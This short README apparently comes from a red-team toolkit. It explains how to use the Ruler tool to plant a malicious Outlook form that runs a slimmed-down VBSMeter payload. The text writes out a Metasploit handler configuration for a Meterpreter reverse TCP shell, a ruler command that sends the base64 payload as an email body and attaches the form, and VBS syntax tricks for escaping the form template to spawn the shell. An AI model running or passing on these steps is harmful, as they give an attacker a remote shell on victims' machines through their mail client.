This requires Ruler
The original payload, VBSMeter was created by @Cn33liz and can be found here: VBSMeter. The version here is slightly slimmed down and modified so that it fits into the maximum payload size for Ruler forms.
The "payload" has been split into a seperate file, this allows us to send it as the message body of an email, and have the form invoke it dynamically.
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 443
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe
set EnableUnicodeEncoding true
set EnableStageEncoding true
set ExitOnSession false
set EXITFUNC thread
exploit -j
Remember to set EXITFUNC, if you leave it as process Outlook will crash/exit.
- Create Command.vbs and Payload.b64.
cat /tmp/Payload.b64|xargs -0 -I{} ./ruler-linux64 --email [email protected] --password "ThePassword" form add --suffix metpew --input /tmp/Command.vbs --send --body "{}" --rule
- You should receive a shell
You'll note that command.vbs has a bit of a weird syntax.
Call X()
End Function
^ this closes the Function P()
, which exists in the defualt forms template.
Function X()
Pew
^ this calls our sub to spawn the shell. There is NO End Function needed as the default forms template inserts this automatically.